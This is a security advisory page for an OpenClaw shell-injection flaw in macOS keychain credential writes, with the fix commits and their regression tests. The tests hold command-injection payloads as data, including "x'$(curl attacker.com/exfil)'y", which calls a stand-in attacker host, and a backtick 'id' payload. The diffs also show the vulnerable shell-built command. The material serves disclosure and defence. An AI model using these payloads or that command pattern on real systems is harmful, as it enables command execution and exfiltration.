OpenClaw: Prevent shell injection in macOS keychain credential write
Description
OpenClaw is a personal AI assistant. In versions 2026.2.13 and below, when using macOS, the Claude CLI keychain credential refresh path constructed a shell command to write the updated JSON blob into Keychain via security add-generic-password -w .... Because OAuth tokens are user-controlled data, this created an OS command injection risk. This issue has been fixed in version 2026.2.14.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
openclawnpm | < 2026.2.14 | 2026.2.14 |
Affected products
1Patches
3b90838824576test(security): remove redundant cli-credentials e2e tests
1 file changed · +0 −322
src/agents/cli-credentials.e2e.test.ts+0 −322 removed@@ -1,322 +0,0 @@ -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -const execSyncMock = vi.fn(); -const execFileSyncMock = vi.fn(); - -describe("cli credentials", () => { - beforeEach(() => { - vi.useFakeTimers(); - }); - - afterEach(async () => { - vi.useRealTimers(); - execSyncMock.mockReset(); - execFileSyncMock.mockReset(); - delete process.env.CODEX_HOME; - const { resetCliCredentialCachesForTest } = await import("./cli-credentials.js"); - resetCliCredentialCachesForTest(); - }); - - it("updates the Claude Code keychain item in place", async () => { - execSyncMock.mockImplementation((command: unknown) => { - const cmd = String(command); - if (cmd.includes("find-generic-password")) { - return JSON.stringify({ - claudeAiOauth: { - accessToken: "old-access", - refreshToken: "old-refresh", - expiresAt: Date.now() + 60_000, - }, - }); - } - return ""; - }); - - execFileSyncMock.mockReturnValue(""); - - const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); - - const ok = writeClaudeCliKeychainCredentials( - { - access: "new-access", - refresh: "new-refresh", - expires: Date.now() + 60_000, - }, - { execSync: execSyncMock, execFileSync: execFileSyncMock }, - ); - - expect(ok).toBe(true); - - // Verify execFileSync was called with array args (no shell interpretation) - expect(execFileSyncMock).toHaveBeenCalledTimes(1); - const [binary, args] = execFileSyncMock.mock.calls[0]; - expect(binary).toBe("security"); - expect(args).toContain("add-generic-password"); - expect(args).toContain("-U"); - }); - - it("prevents shell injection via malicious OAuth token values", async () => { - const maliciousToken = "x'$(curl attacker.com/exfil)'y"; - - execSyncMock.mockImplementation((command: unknown) => { - const cmd = String(command); - if (cmd.includes("find-generic-password")) { - return JSON.stringify({ - claudeAiOauth: { - accessToken: "old-access", - refreshToken: "old-refresh", - expiresAt: Date.now() + 60_000, - }, - }); - } - return ""; - }); - - execFileSyncMock.mockReturnValue(""); - - const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); - - const ok = writeClaudeCliKeychainCredentials( - { - access: maliciousToken, - refresh: "safe-refresh", - expires: Date.now() + 60_000, - }, - { execSync: execSyncMock, execFileSync: execFileSyncMock }, - ); - - expect(ok).toBe(true); - - // The -w argument must contain the malicious string literally, not shell-expanded - const [, args] = execFileSyncMock.mock.calls[0]; - const wIndex = (args as string[]).indexOf("-w"); - const passwordValue = (args as string[])[wIndex + 1]; - expect(passwordValue).toContain(maliciousToken); - // Verify it was passed as a direct argument, not built into a shell command string - expect(execFileSyncMock.mock.calls[0][0]).toBe("security"); - }); - - it("prevents shell injection via backtick command substitution in tokens", async () => { - const backtickPayload = "token`id`value"; - - execSyncMock.mockImplementation((command: unknown) => { - const cmd = String(command); - if (cmd.includes("find-generic-password")) { - return JSON.stringify({ - claudeAiOauth: { - accessToken: "old-access", - refreshToken: "old-refresh", - expiresAt: Date.now() + 60_000, - }, - }); - } - return ""; - }); - - execFileSyncMock.mockReturnValue(""); - - const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); - - const ok = writeClaudeCliKeychainCredentials( - { - access: "safe-access", - refresh: backtickPayload, - expires: Date.now() + 60_000, - }, - { execSync: execSyncMock, execFileSync: execFileSyncMock }, - ); - - expect(ok).toBe(true); - - // Backtick payload must be passed literally, not interpreted - const [, args] = execFileSyncMock.mock.calls[0]; - const wIndex = (args as string[]).indexOf("-w"); - const passwordValue = (args as string[])[wIndex + 1]; - expect(passwordValue).toContain(backtickPayload); - }); - - it("falls back to the file store when the keychain update fails", async () => { - const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-")); - const credPath = path.join(tempDir, ".claude", ".credentials.json"); - - fs.mkdirSync(path.dirname(credPath), { recursive: true, mode: 0o700 }); - fs.writeFileSync( - credPath, - `${JSON.stringify( - { - claudeAiOauth: { - accessToken: "old-access", - refreshToken: "old-refresh", - expiresAt: Date.now() + 60_000, - }, - }, - null, - 2, - )}\n`, - "utf8", - ); - - const writeKeychain = vi.fn(() => false); - - const { writeClaudeCliCredentials } = await import("./cli-credentials.js"); - - const ok = writeClaudeCliCredentials( - { - access: "new-access", - refresh: "new-refresh", - expires: Date.now() + 120_000, - }, - { - platform: "darwin", - homeDir: tempDir, - writeKeychain, - }, - ); - - expect(ok).toBe(true); - expect(writeKeychain).toHaveBeenCalledTimes(1); - - const updated = JSON.parse(fs.readFileSync(credPath, "utf8")) as { - claudeAiOauth?: { - accessToken?: string; - refreshToken?: string; - expiresAt?: number; - }; - }; - - expect(updated.claudeAiOauth?.accessToken).toBe("new-access"); - expect(updated.claudeAiOauth?.refreshToken).toBe("new-refresh"); - expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number"); - }); - - it("caches Claude Code CLI credentials within the TTL window", async () => { - execSyncMock.mockImplementation(() => - JSON.stringify({ - claudeAiOauth: { - accessToken: "cached-access", - refreshToken: "cached-refresh", - expiresAt: Date.now() + 60_000, - }, - }), - ); - - vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); - - const { readClaudeCliCredentialsCached } = await import("./cli-credentials.js"); - - const first = readClaudeCliCredentialsCached({ - allowKeychainPrompt: true, - ttlMs: 15 * 60 * 1000, - platform: "darwin", - execSync: execSyncMock, - }); - const second = readClaudeCliCredentialsCached({ - allowKeychainPrompt: false, - ttlMs: 15 * 60 * 1000, - platform: "darwin", - execSync: execSyncMock, - }); - - expect(first).toBeTruthy(); - expect(second).toEqual(first); - expect(execSyncMock).toHaveBeenCalledTimes(1); - }); - - it("refreshes Claude Code CLI credentials after the TTL window", async () => { - execSyncMock.mockImplementation(() => - JSON.stringify({ - claudeAiOauth: { - accessToken: `token-${Date.now()}`, - refreshToken: "refresh", - expiresAt: Date.now() + 60_000, - }, - }), - ); - - vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); - - const { readClaudeCliCredentialsCached } = await import("./cli-credentials.js"); - - const first = readClaudeCliCredentialsCached({ - allowKeychainPrompt: true, - ttlMs: 15 * 60 * 1000, - platform: "darwin", - execSync: execSyncMock, - }); - - vi.advanceTimersByTime(15 * 60 * 1000 + 1); - - const second = readClaudeCliCredentialsCached({ - allowKeychainPrompt: true, - ttlMs: 15 * 60 * 1000, - platform: "darwin", - execSync: execSyncMock, - }); - - expect(first).toBeTruthy(); - expect(second).toBeTruthy(); - expect(execSyncMock).toHaveBeenCalledTimes(2); - }); - - it("reads Codex credentials from keychain when available", async () => { - const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-")); - process.env.CODEX_HOME = tempHome; - - const accountHash = "cli|"; - - execSyncMock.mockImplementation((command: unknown) => { - const cmd = String(command); - expect(cmd).toContain("Codex Auth"); - expect(cmd).toContain(accountHash); - return JSON.stringify({ - tokens: { - access_token: "keychain-access", - refresh_token: "keychain-refresh", - }, - last_refresh: "2026-01-01T00:00:00Z", - }); - }); - - const { readCodexCliCredentials } = await import("./cli-credentials.js"); - const creds = readCodexCliCredentials({ platform: "darwin", execSync: execSyncMock }); - - expect(creds).toMatchObject({ - access: "keychain-access", - refresh: "keychain-refresh", - provider: "openai-codex", - }); - }); - - it("falls back to Codex auth.json when keychain is unavailable", async () => { - const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-")); - process.env.CODEX_HOME = tempHome; - execSyncMock.mockImplementation(() => { - throw new Error("not found"); - }); - - const authPath = path.join(tempHome, "auth.json"); - fs.mkdirSync(tempHome, { recursive: true, mode: 0o700 }); - fs.writeFileSync( - authPath, - JSON.stringify({ - tokens: { - access_token: "file-access", - refresh_token: "file-refresh", - }, - }), - "utf8", - ); - - const { readCodexCliCredentials } = await import("./cli-credentials.js"); - const creds = readCodexCliCredentials({ execSync: execSyncMock }); - - expect(creds).toMatchObject({ - access: "file-access", - refresh: "file-refresh", - provider: "openai-codex", - }); - }); -});
66d7178f2d6ffix(security): eliminate shell from Claude CLI keychain refresh
3 files changed · +351 −11
CHANGELOG.md+1 −0 modified@@ -11,6 +11,7 @@ Docs: https://docs.openclaw.ai ### Fixes - Security/Agents: scope CLI process cleanup to owned child PIDs to avoid killing unrelated processes on shared hosts. Thanks @aether-ai-agent. +- Security/Agents (macOS): prevent shell injection when writing Claude CLI keychain credentials. (#15924) Thanks @aether-ai-agent. - Security: fix Chutes manual OAuth login state validation (thanks @aether-ai-agent). (#16058) - Security/Discovery: stop treating Bonjour TXT records as authoritative routing (prefer resolved service endpoints) and prevent discovery from overriding stored TLS pins; autoconnect now requires a previously trusted gateway. Thanks @simecek. - macOS: hard-limit unkeyed `openclaw://agent` deep links and ignore `deliver` / `to` / `channel` unless a valid unattended key is provided. Thanks @Cillian-Collins.
src/agents/cli-credentials.test.ts+332 −0 added@@ -0,0 +1,332 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const execSyncMock = vi.fn(); +const execFileSyncMock = vi.fn(); + +describe("cli credentials", () => { + beforeEach(() => { + vi.useFakeTimers(); + }); + + afterEach(async () => { + vi.useRealTimers(); + execSyncMock.mockReset(); + execFileSyncMock.mockReset(); + delete process.env.CODEX_HOME; + const { resetCliCredentialCachesForTest } = await import("./cli-credentials.js"); + resetCliCredentialCachesForTest(); + }); + + it("updates the Claude Code keychain item in place", async () => { + execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { + const argv = Array.isArray(args) ? args.map(String) : []; + if (String(file) === "security" && argv.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: "new-access", + refresh: "new-refresh", + expires: Date.now() + 60_000, + }, + { execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // Verify execFileSync was called with array args (no shell interpretation) + expect(execFileSyncMock).toHaveBeenCalledTimes(2); + const addCall = execFileSyncMock.mock.calls.find( + ([binary, args]) => + String(binary) === "security" && + Array.isArray(args) && + (args as unknown[]).map(String).includes("add-generic-password"), + ); + expect(addCall?.[0]).toBe("security"); + expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U"); + }); + + it("prevents shell injection via malicious OAuth token values", async () => { + const maliciousToken = "x'$(curl attacker.com/exfil)'y"; + + execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { + const argv = Array.isArray(args) ? args.map(String) : []; + if (String(file) === "security" && argv.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: maliciousToken, + refresh: "safe-refresh", + expires: Date.now() + 60_000, + }, + { execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // The -w argument must contain the malicious string literally, not shell-expanded + const addCall = execFileSyncMock.mock.calls.find( + ([binary, args]) => + String(binary) === "security" && + Array.isArray(args) && + (args as unknown[]).map(String).includes("add-generic-password"), + ); + const args = (addCall?.[1] as string[] | undefined) ?? []; + const wIndex = args.indexOf("-w"); + const passwordValue = args[wIndex + 1]; + expect(passwordValue).toContain(maliciousToken); + // Verify it was passed as a direct argument, not built into a shell command string + expect(addCall?.[0]).toBe("security"); + }); + + it("prevents shell injection via backtick command substitution in tokens", async () => { + const backtickPayload = "token`id`value"; + + execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { + const argv = Array.isArray(args) ? args.map(String) : []; + if (String(file) === "security" && argv.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: "safe-access", + refresh: backtickPayload, + expires: Date.now() + 60_000, + }, + { execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // Backtick payload must be passed literally, not interpreted + const addCall = execFileSyncMock.mock.calls.find( + ([binary, args]) => + String(binary) === "security" && + Array.isArray(args) && + (args as unknown[]).map(String).includes("add-generic-password"), + ); + const args = (addCall?.[1] as string[] | undefined) ?? []; + const wIndex = args.indexOf("-w"); + const passwordValue = args[wIndex + 1]; + expect(passwordValue).toContain(backtickPayload); + }); + + it("falls back to the file store when the keychain update fails", async () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-")); + const credPath = path.join(tempDir, ".claude", ".credentials.json"); + + fs.mkdirSync(path.dirname(credPath), { recursive: true, mode: 0o700 }); + fs.writeFileSync( + credPath, + `${JSON.stringify( + { + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }, + null, + 2, + )}\n`, + "utf8", + ); + + const writeKeychain = vi.fn(() => false); + + const { writeClaudeCliCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliCredentials( + { + access: "new-access", + refresh: "new-refresh", + expires: Date.now() + 120_000, + }, + { + platform: "darwin", + homeDir: tempDir, + writeKeychain, + }, + ); + + expect(ok).toBe(true); + expect(writeKeychain).toHaveBeenCalledTimes(1); + + const updated = JSON.parse(fs.readFileSync(credPath, "utf8")) as { + claudeAiOauth?: { + accessToken?: string; + refreshToken?: string; + expiresAt?: number; + }; + }; + + expect(updated.claudeAiOauth?.accessToken).toBe("new-access"); + expect(updated.claudeAiOauth?.refreshToken).toBe("new-refresh"); + expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number"); + }); + + it("caches Claude Code CLI credentials within the TTL window", async () => { + execSyncMock.mockImplementation(() => + JSON.stringify({ + claudeAiOauth: { + accessToken: "cached-access", + refreshToken: "cached-refresh", + expiresAt: Date.now() + 60_000, + }, + }), + ); + + vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); + + const { readClaudeCliCredentialsCached } = await import("./cli-credentials.js"); + + const first = readClaudeCliCredentialsCached({ + allowKeychainPrompt: true, + ttlMs: 15 * 60 * 1000, + platform: "darwin", + execSync: execSyncMock, + }); + const second = readClaudeCliCredentialsCached({ + allowKeychainPrompt: false, + ttlMs: 15 * 60 * 1000, + platform: "darwin", + execSync: execSyncMock, + }); + + expect(first).toBeTruthy(); + expect(second).toEqual(first); + expect(execSyncMock).toHaveBeenCalledTimes(1); + }); + + it("refreshes Claude Code CLI credentials after the TTL window", async () => { + execSyncMock.mockImplementation(() => + JSON.stringify({ + claudeAiOauth: { + accessToken: `token-${Date.now()}`, + refreshToken: "refresh", + expiresAt: Date.now() + 60_000, + }, + }), + ); + + vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); + + const { readClaudeCliCredentialsCached } = await import("./cli-credentials.js"); + + const first = readClaudeCliCredentialsCached({ + allowKeychainPrompt: true, + ttlMs: 15 * 60 * 1000, + platform: "darwin", + execSync: execSyncMock, + }); + + vi.advanceTimersByTime(15 * 60 * 1000 + 1); + + const second = readClaudeCliCredentialsCached({ + allowKeychainPrompt: true, + ttlMs: 15 * 60 * 1000, + platform: "darwin", + execSync: execSyncMock, + }); + + expect(first).toBeTruthy(); + expect(second).toBeTruthy(); + expect(execSyncMock).toHaveBeenCalledTimes(2); + }); + + it("reads Codex credentials from keychain when available", async () => { + const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-")); + process.env.CODEX_HOME = tempHome; + + const accountHash = "cli|"; + + execSyncMock.mockImplementation((command: unknown) => { + const cmd = String(command); + expect(cmd).toContain("Codex Auth"); + expect(cmd).toContain(accountHash); + return JSON.stringify({ + tokens: { + access_token: "keychain-access", + refresh_token: "keychain-refresh", + }, + last_refresh: "2026-01-01T00:00:00Z", + }); + }); + + const { readCodexCliCredentials } = await import("./cli-credentials.js"); + const creds = readCodexCliCredentials({ platform: "darwin", execSync: execSyncMock }); + + expect(creds).toMatchObject({ + access: "keychain-access", + refresh: "keychain-refresh", + provider: "openai-codex", + }); + }); + + it("falls back to Codex auth.json when keychain is unavailable", async () => { + const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-")); + process.env.CODEX_HOME = tempHome; + execSyncMock.mockImplementation(() => { + throw new Error("not found"); + }); + + const authPath = path.join(tempHome, "auth.json"); + fs.mkdirSync(tempHome, { recursive: true, mode: 0o700 }); + fs.writeFileSync( + authPath, + JSON.stringify({ + tokens: { + access_token: "file-access", + refresh_token: "file-refresh", + }, + }), + "utf8", + ); + + const { readCodexCliCredentials } = await import("./cli-credentials.js"); + const creds = readCodexCliCredentials({ execSync: execSyncMock }); + + expect(creds).toMatchObject({ + access: "file-access", + refresh: "file-refresh", + provider: "openai-codex", + }); + }); +});
src/agents/cli-credentials.ts+18 −11 modified@@ -382,13 +382,13 @@ export function readClaudeCliCredentialsCached(options?: { export function writeClaudeCliKeychainCredentials( newCredentials: OAuthCredentials, - options?: { execSync?: ExecSyncFn; execFileSync?: ExecFileSyncFn }, + options?: { execFileSync?: ExecFileSyncFn }, ): boolean { - const execSyncImpl = options?.execSync ?? execSync; const execFileSyncImpl = options?.execFileSync ?? execFileSync; try { - const existingResult = execSyncImpl( - `security find-generic-password -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -w 2>/dev/null`, + const existingResult = execFileSyncImpl( + "security", + ["find-generic-password", "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, "-w"], { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }, ); @@ -409,13 +409,20 @@ export function writeClaudeCliKeychainCredentials( // Use execFileSync to avoid shell interpretation of user-controlled token values. // This prevents command injection via $() or backtick expansion in OAuth tokens. - execFileSyncImpl("security", [ - "add-generic-password", - "-U", - "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, - "-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT, - "-w", newValue, - ], { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }); + execFileSyncImpl( + "security", + [ + "add-generic-password", + "-U", + "-s", + CLAUDE_CLI_KEYCHAIN_SERVICE, + "-a", + CLAUDE_CLI_KEYCHAIN_ACCOUNT, + "-w", + newValue, + ], + { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }, + ); log.info("wrote refreshed credentials to claude cli keychain", { expires: new Date(newCredentials.expires).toISOString(),
9dce3d8bf83ffix(security): prevent shell injection in macOS keychain credential write (#15924)
2 files changed · +104 −15
src/agents/cli-credentials.e2e.test.ts+91 −9 modified@@ -4,6 +4,7 @@ import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; const execSyncMock = vi.fn(); +const execFileSyncMock = vi.fn(); describe("cli credentials", () => { beforeEach(() => { @@ -13,18 +14,15 @@ describe("cli credentials", () => { afterEach(async () => { vi.useRealTimers(); execSyncMock.mockReset(); + execFileSyncMock.mockReset(); delete process.env.CODEX_HOME; const { resetCliCredentialCachesForTest } = await import("./cli-credentials.js"); resetCliCredentialCachesForTest(); }); it("updates the Claude Code keychain item in place", async () => { - const commands: string[] = []; - execSyncMock.mockImplementation((command: unknown) => { const cmd = String(command); - commands.push(cmd); - if (cmd.includes("find-generic-password")) { return JSON.stringify({ claudeAiOauth: { @@ -34,10 +32,11 @@ describe("cli credentials", () => { }, }); } - return ""; }); + execFileSyncMock.mockReturnValue(""); + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); const ok = writeClaudeCliKeychainCredentials( @@ -46,14 +45,97 @@ describe("cli credentials", () => { refresh: "new-refresh", expires: Date.now() + 60_000, }, - { execSync: execSyncMock }, + { execSync: execSyncMock, execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // Verify execFileSync was called with array args (no shell interpretation) + expect(execFileSyncMock).toHaveBeenCalledTimes(1); + const [binary, args] = execFileSyncMock.mock.calls[0]; + expect(binary).toBe("security"); + expect(args).toContain("add-generic-password"); + expect(args).toContain("-U"); + }); + + it("prevents shell injection via malicious OAuth token values", async () => { + const maliciousToken = "x'$(curl attacker.com/exfil)'y"; + + execSyncMock.mockImplementation((command: unknown) => { + const cmd = String(command); + if (cmd.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + execFileSyncMock.mockReturnValue(""); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: maliciousToken, + refresh: "safe-refresh", + expires: Date.now() + 60_000, + }, + { execSync: execSyncMock, execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // The -w argument must contain the malicious string literally, not shell-expanded + const [, args] = execFileSyncMock.mock.calls[0]; + const wIndex = (args as string[]).indexOf("-w"); + const passwordValue = (args as string[])[wIndex + 1]; + expect(passwordValue).toContain(maliciousToken); + // Verify it was passed as a direct argument, not built into a shell command string + expect(execFileSyncMock.mock.calls[0][0]).toBe("security"); + }); + + it("prevents shell injection via backtick command substitution in tokens", async () => { + const backtickPayload = "token`id`value"; + + execSyncMock.mockImplementation((command: unknown) => { + const cmd = String(command); + if (cmd.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + execFileSyncMock.mockReturnValue(""); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: "safe-access", + refresh: backtickPayload, + expires: Date.now() + 60_000, + }, + { execSync: execSyncMock, execFileSync: execFileSyncMock }, ); expect(ok).toBe(true); - expect(commands.some((cmd) => cmd.includes("delete-generic-password"))).toBe(false); - const updateCommand = commands.find((cmd) => cmd.includes("add-generic-password")); - expect(updateCommand).toContain("-U"); + // Backtick payload must be passed literally, not interpreted + const [, args] = execFileSyncMock.mock.calls[0]; + const wIndex = (args as string[]).indexOf("-w"); + const passwordValue = (args as string[])[wIndex + 1]; + expect(passwordValue).toContain(backtickPayload); }); it("falls back to the file store when the keychain update fails", async () => {
src/agents/cli-credentials.ts+13 −6 modified@@ -1,5 +1,5 @@ import type { OAuthCredentials, OAuthProvider } from "@mariozechner/pi-ai"; -import { execSync } from "node:child_process"; +import { execFileSync, execSync } from "node:child_process"; import { createHash } from "node:crypto"; import fs from "node:fs"; import path from "node:path"; @@ -86,6 +86,7 @@ type ClaudeCliWriteOptions = ClaudeCliFileOptions & { }; type ExecSyncFn = typeof execSync; +type ExecFileSyncFn = typeof execFileSync; function resolveClaudeCliCredentialsPath(homeDir?: string) { const baseDir = homeDir ?? resolveUserPath("~"); @@ -381,9 +382,10 @@ export function readClaudeCliCredentialsCached(options?: { export function writeClaudeCliKeychainCredentials( newCredentials: OAuthCredentials, - options?: { execSync?: ExecSyncFn }, + options?: { execSync?: ExecSyncFn; execFileSync?: ExecFileSyncFn }, ): boolean { const execSyncImpl = options?.execSync ?? execSync; + const execFileSyncImpl = options?.execFileSync ?? execFileSync; try { const existingResult = execSyncImpl( `security find-generic-password -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -w 2>/dev/null`, @@ -405,10 +407,15 @@ export function writeClaudeCliKeychainCredentials( const newValue = JSON.stringify(existingData); - execSyncImpl( - `security add-generic-password -U -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -a "${CLAUDE_CLI_KEYCHAIN_ACCOUNT}" -w '${newValue.replace(/'/g, "'\"'\"'")}'`, - { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }, - ); + // Use execFileSync to avoid shell interpretation of user-controlled token values. + // This prevents command injection via $() or backtick expansion in OAuth tokens. + execFileSyncImpl("security", [ + "add-generic-password", + "-U", + "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, + "-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT, + "-w", newValue, + ], { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }); log.info("wrote refreshed credentials to claude cli keychain", { expires: new Date(newCredentials.expires).toISOString(),
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
8- github.com/advisories/GHSA-4564-pvr2-qq4hghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-27487ghsaADVISORY
- github.com/openclaw/openclaw/commit/66d7178f2d6f9d60abad35797f97f3e61389b70cghsax_refsource_MISCWEB
- github.com/openclaw/openclaw/commit/9dce3d8bf83f13c067bc3c32291643d2f1f10a06ghsax_refsource_MISCWEB
- github.com/openclaw/openclaw/commit/b908388245764fb3586859f44d1dff5372b19cafghsax_refsource_MISCWEB
- github.com/openclaw/openclaw/pull/15924ghsax_refsource_MISCWEB
- github.com/openclaw/openclaw/releases/tag/v2026.2.14ghsax_refsource_MISCWEB
- github.com/openclaw/openclaw/security/advisories/GHSA-4564-pvr2-qq4hghsax_refsource_CONFIRMWEB
News mentions
0No linked articles in our index yet.